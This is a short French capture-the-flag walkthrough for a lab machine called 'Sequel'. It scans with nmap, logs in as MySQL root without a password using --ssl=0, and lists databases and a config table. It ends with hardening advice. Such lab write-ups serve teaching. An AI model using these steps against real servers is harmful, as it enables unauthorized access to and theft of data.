Machine 6 — Sequel¶

MySQL root exposé sans mot de passe — Port 3306

Concept¶

Se connecter directement à un serveur MySQL exposé, sans couche applicative intermédiaire.

nmap -sV -sC 10.129.x.x

3306/tcp open  mysql

mysql -h 10.129.x.x -u root --ssl=0

--ssl=0 contourne un souci de négociation TLS avec un serveur ancien.

SHOW DATABASES;
USE <nom_de_la_base>;
SHOW TABLES;
SELECT * FROM config;

Un compte root MySQL exposé sans mot de passe est une faille critique et immédiate.
--ssl=0 est parfois nécessaire face à des serveurs anciens mal configurés côté TLS.

Ne jamais exposer un service de base de données directement sur un réseau non maîtrisé, et toujours exiger un mot de passe fort.